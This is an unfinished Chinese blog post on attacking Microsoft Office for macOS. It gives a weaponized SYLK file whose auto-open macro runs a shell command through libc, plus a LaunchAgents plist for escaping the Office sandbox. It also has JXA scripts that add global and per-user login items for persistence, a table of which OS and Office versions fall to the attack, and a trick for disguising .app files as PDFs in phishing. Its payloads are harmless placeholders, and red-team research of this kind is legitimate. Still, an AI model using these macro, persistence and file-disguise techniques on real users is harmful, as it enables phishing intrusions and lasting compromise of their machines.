Macos Office攻防

Macos Office攻防

转载请注明出处:https://youngrichog.github.io/

(本文还没有写完,施工中👷‍♀️👷)

描述

最近看了看Macos下的攻防视角都有什么,之前的话有做过AppleScript,在mac <10.15还是屡试不爽的,舒服至极。但是针对于>10.15版本,好像自己没有什么积累,索性就开始研究研究,主要涉及到SYLK利用、权限维持、沙箱跳出等。

什么是SYLK?

SYLK 代表 SYmbolic LinkK,一种于 1980 年代引入的文件格式。通常,SYLK 文件的文件扩展名为 .slk。SYLK 是一种仅使用可显示的 ANSI 字符的文件格式,创建它是为了在应用程序(例如电子表格和数据库)之间交换数据。

尽管是一种古老的文件格式,但文件扩展名 .slk 在最新的 MS Office 版本(在 2010、2013 、2016和2019)仍然默认映射到 Excel。

说说SYLK的优点?

SYLK 格式吸引攻击者的一个重要原因是:受保护的视图沙箱不适用于这种文件格式。这意味着,如果武器化 SYLK 文件是通过电子邮件或 Web 传送的,并且应用了Web 标记标记,则目标用户不会被此警告消息打扰。

此外,扩展名为 .slk 的 SYLK 文件具有以下特征。

嗯,的确是一个武器化的理想选择。简单点说SYLK就是一个old school,可以兼容新版Office,并且不在大众的视野里。

SYLK利用

xxxx.slk

1
2
3
4
5
6
ID;P
O;E
NN;NAuto_open;ER101C1;KOut Flank;F
C;X1;Y101;K0;ECALL("libc.dylib","system","JC","open -a Calculator")
C;X1;Y102;K0;EHALT()
E

沙箱跳出

这部分我主要关注了2个版本的office:2016和2019,貌似现在2016也用的很少了,2016和2019沙箱的跳出姿势也有不同。相同点是可以将~$开头的文件写到沙箱以外的其他目录,可以看出这样开头的文件是office的临时文件。当然从另一个角度看,我们还可以结合一些软件本身的机制挖掘沙箱跳出,例如某些软件在启动的时候、定期会从某些特定目录拉取文件进行执行,另外我在YY一个思路,如同Windows下的DLL劫持,Macos上也是有的。

2016版本与2019版本对比

补图

2016版本对LaunchAgents是具有写权限的,在2019版本已经被patch掉了

2016沙箱跳出姿势:

  • 直接写~$xxxxx.plist到LaunchAgents启动项
  • 利用LoginItems登陆项

2019沙箱跳出姿势:

  • 利用LoginItems登陆项

直接写~$xxxxx.plist到LaunchAgents启动项,这里就不多提了,附一个plist

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>YoungRichOG</string>
<key>ProgramArguments</key>
<array>
<string>/bin/bash</string>
<string>-c id</string>
</array>
</dict>
</plist>

利用LoginItems登陆项进行沙箱跳出,等目标下次重新登陆的时候触发。

添加全局登陆项(kLSSharedFileListGlobalLoginItems):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
function loginitems(params){
ObjC.import('CoreServices');
ObjC.import('Security');
ObjC.import('SystemConfiguration');
let args = JSON.parse(params);
console.log(args.path)

let auth;
let result = $.AuthorizationCreate($.nil, $.nil, $.kAuthorizationDefaults, Ref(auth));

if (result === 0) {
let temp = $.CFURLCreateFromFileSystemRepresentation($.kCFAllocatorDefault, args['path'], args['path'].length, false);
let items = $.LSSharedFileListCreate($.kCFAllocatorDefault, $.kLSSharedFileListGlobalLoginItems, $.nil);
$.LSSharedFileListSetAuthorization(items, auth);
let cfName = $.CFStringCreateWithCString($.nil, args['name'], $.kCFStringEncodingASCII);
let itemRef = $.LSSharedFileListInsertItemURL(items, $.kLSSharedFileListItemLast, cfName, $.nil, temp, $.nil, $.nil);
return {"user_output": "LoginItem installation successful", "completed": true};
} else {
return {"user_output": `LoginItem installation failed: AuthorizationCreate returned ${result}`, "completed": true};
}
};

params = "{\"name\": \"YoungRichOG\", \"path\":\"/tmp/xxxxxxxxxxxx\"}";
loginitems(params)

给当前用户添加登陆项(kLSSharedFileListSessionLoginItems):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function loginitem() {
ObjC.import('CoreServices');
ObjC.import('Security');
ObjC.import('SystemConfiguration');
let auth;
let result = $.AuthorizationCreate($.nil, $.nil, $.kAuthorizationDefaults, Ref(auth));
if (result === 0) {
let temp = $.CFURLCreateFromFileSystemRepresentation($.kCFAllocatorDefault, '/Applications/Safari.app/Contents/MacOS/Safari', '/Applications/Safari.app/Contents/MacOS/Safari'.length, false);
let items = $.LSSharedFileListCreate($.kCFAllocatorDefault, $.kLSSharedFileListSessionLoginItems, $.nil);
$.LSSharedFileListSetAuthorization(items, auth);
let cfName = $.CFStringCreateWithCString($.nil, 'WebTest', $.kCFStringEncodingASCII);
let itemRef = $.LSSharedFileListInsertItemURL(items, $.kLSSharedFileListItemLast, cfName, $.nil, temp, $.nil, $.nil);
return {"user_output": "LoginItem installation successful", "completed": true};
} else {
return {"user_output": `LoginItem installation failed: AuthorizationCreate returned ${result}`, "completed": true};
}
};
loginitem()

利用LoginItems登陆项做沙箱跳出,如果直接指定某二进制文件,

测试数据

附一些自己的测试数据,如果从提高成功来看,分为:低系统版本+office或高系统版本+低office版本

系统版本 office版本 安全设置(自行) 安全设置(默认) 结果
10.14.5 16.18(181014) 成功
10.12.4 16.30(19101301) 禁用所有宏,并且不通知 成功
10.14.5 16.37(20051002) 失败
10.14.5 16.39(20071300) 失败
10.14.5 16.46(21021202) 失败
10.14.5 16.48(21041102) 失败
10.15.5 16.48(21041102) 失败
10.15.7 16.48(21041102) 禁用所有宏,并发出通知 会弹宏,点击启用成功弹出
10.15.7 16.48(21041102) 禁用所有宏,并且不通知 失败
10.15.7 16.42(20101102) 禁用所有宏,并发出通知 会弹宏,点击启用成功弹出
10.15.7 16.42(20101102) 禁用所有宏,并且不通知 失败
10.15.7 16.18(181208) 禁用所有宏,并且不通知 成功
10.15.7 16.18(181208) 禁用所有宏,并发出通知 会弹宏,点击启用成功弹出
10.12.6 16.30(19101301) 禁用所有宏,并发出通知 会弹宏,点击启用成功弹出
10.12.6 16.30(19101301) 禁用所有宏,并且不通知 成功
10.12.6 16.29(19090802) 禁用所有宏,并发出通知 会弹宏,点击启用成功弹出
10.12.6 16.29(19090802) 禁用所有宏,并且不通知 成功
10.12.6 16.27(19071500) 禁用所有宏,并发出通知 会弹宏,点击启用成功弹出
10.12.6 16.27(19071500) 禁用所有宏,并且不通知 成功
10.12.6 16.24(19041401) 禁用所有宏,并发出通知 会弹宏,点击启用成功弹出
10.12.6 16.24(19041401) 禁用所有宏,并且不通知 成功
10.12.6 16.22(190211) 禁用所有宏,并发出通知 会弹宏,点击启用成功弹出
10.12.6 16.22(190211) 禁用所有宏,并且不通知 成功
10.12.6 16.20(181208) 禁用所有宏,并发出通知 会弹宏,点击启用成功弹出
10.12.6 16.20(181208) 禁用所有宏,并且不通知 成功
10.12.6 16.19(181109) 禁用所有宏,并发出通知 会弹宏,点击启用成功弹出
10.12.6 16.19(181109) 禁用所有宏,并且不通知 成功
10.12.6 16.18(181014) 禁用所有宏,并发出通知 会弹宏,点击启用成功弹出
10.12.6 16.18(181014) 禁用所有宏,并且不通知 成功

office安装的其他情况:

16.48不支持10.12.6,支持10.14.0往后版本

16.39不支持10.12.6,支持10.13.0往后版本

16.34不支持10.12.6,支持10.13.0往后版本

16.32不支持10.12.6,支持10.13.0往后版本

遇到的问题

在Macos10.14.5通过LSSharedFileListInsertItemURL实现LoginItems登陆项异常退出,目前还没有找到原因 :-(

Tips

1.利用宏进行钓鱼攻击,高版本office都会运行在沙盒中,所以我们要考虑沙箱跳出

2.office沙箱环境目录:/Users/Current User/Library/Containers/com.microsoft.Excel/Data/,其中拿Excel举例

3.office临时文件目录,echo $TMPDIR,每当打开excel文件或其他,都会有对应临时文件

4.钓鱼姿势,适用于各类Macos钓鱼场景,当时在绕过AppleScript显示app为后缀,在macos10.15后,失效了一部分姿势,例如:Mac在键盘处加入Unicode,然后输入的时候用option+Unicode编号就可以了,例如d为option + 217e 使用Unicode可以绕过文件显示app的情况。重点来了在高版本的macos,可以这样绕过:1.pdf..app 显示1.pdf.

Respect

https://outflank.nl/blog/2019/10/30/abusing-the-sylk-file-format/